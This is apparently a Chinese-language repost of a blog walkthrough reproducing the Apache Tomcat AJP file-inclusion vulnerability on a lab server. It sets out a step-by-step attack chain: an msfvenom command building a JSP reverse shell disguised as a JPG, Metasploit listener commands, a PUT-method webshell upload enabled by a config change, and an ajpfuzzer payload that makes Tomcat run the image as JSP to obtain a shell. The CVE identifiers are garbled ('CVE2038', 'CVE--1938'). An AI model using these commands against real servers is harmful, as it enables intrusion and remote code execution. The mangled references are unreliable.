700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE2038)复现

tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE2038)复现

时间:2020-11-10 11:30:52

相关推荐

tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE2038)复现

一、漏洞背景02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE--1938/CNVD--10487)的安全公告。Tomcat作为一款免费开源轻量级的web应用服务器,广泛应用于并发量不是很高的场合,Tomact默认端口8080用于处理http请求,Tomcat会监听AJP连接器的8009端口,用于与其他Web服务器通过AJP协议进行交互,由于Tomcat AJP协议存在设计缺陷,攻击者可构造特定的payload读取服务器WEB目录下的任意文件以及可以包含任意文件,若存在上传点,可以获取shell,进一步进行远程代码执行。二、影响版本Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31三、漏洞复现这里为了更加直观方便的复现CVE--1938,采用WindowsServer + Apache Tomcat 8.5.19环境。1、搭建环境首先上官网下载Apache Tomcat 8.5.19,当然别忘了JAVA。/dist/tomcat/tomcat-8/v8.5.19/下载完直接放在服务器任意文件夹,在bin目录开启Tomcat,其实浏览器打开默认端口8080就行,看到熟悉的Tomcat界面说明那就是OK的。2、msf生成反弹木马用msf生成一个jsp反弹木马。这里为了更方便接近生产环境我们直接生成一个图片马儿。

msfvenom-pjava/jsp_shell_reverse_tcpLHOST=本机IPLPORT=监听端口R>muma.jpg

OK,已经生成了一个文件名为muma.jpg的图片木马。接下来我们利用一下metasploit中的exploit/multi/handler后门模块进行攻击。监听

use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 本机IPset lport 监听端口

3、任意文件上传这里我们顺便就用Apache Tomcat 8.5.19来做一个任意文件上传漏洞的复现,在服务器上修改配置文件/conf/web.xml,允许tomcat用PUT方式提交,使其产生一个任意文件上传的漏洞,不多说,自行脑补CVE--12615。修改tomcat配置文件/conf/web.xml,添加readonly参数,属性改为false。抓取tomcat页面数据包,修改提交方式为PUT,构造payload,上传webshell访问一下这个webshell就可以远程执行任意命令了,当然,如果权限不足的话还得提权,这里就不做演示了。4、反弹shell回到正题(接第2篇)假设说某个运行在该版本tomcat上的业务有个上传点,我们在上传目录upload上传了我们刚才生成的反弹图片马。下载一个AJP包构造器ajpfuzzer_v0.6.jar

URL:/doyensec/ajpfuzzer/releases

运行java -jarajpfuzzer_v0.6.jar执行connect 目标ip 8009连接目标端口

java -jar ajpfuzzer_v0.6.jarconnect 目标IP 8009

执行下面命令构造并发送AJP包,其中/upload/muma.jpg为上传的木马路径,其中ma.jsp可以换为任意该web项目中没有的jsp文件,这样tomcat才会去调用DefaultServlet.

forwardrequest 2 "HTTP/1.1" "/ma.jsp" 192.168.194.133 192.168.194.133 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:ma.jsp","javax.servlet.include.path_info:/upload/muma.jpg","javax.servlet.include.servlet_path:/"

请求发送成功后,ma.jpg被当做jsp解析,成功拿到shell5、Tomcat Ajp协议文件读取漏洞用大佬写的EXP直接任意文件读取

/YDHCUI/CNVD--10487-Tomcat-Ajp-lfi

KillBoy安全实验室回归技术本质,引领实战潮流

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。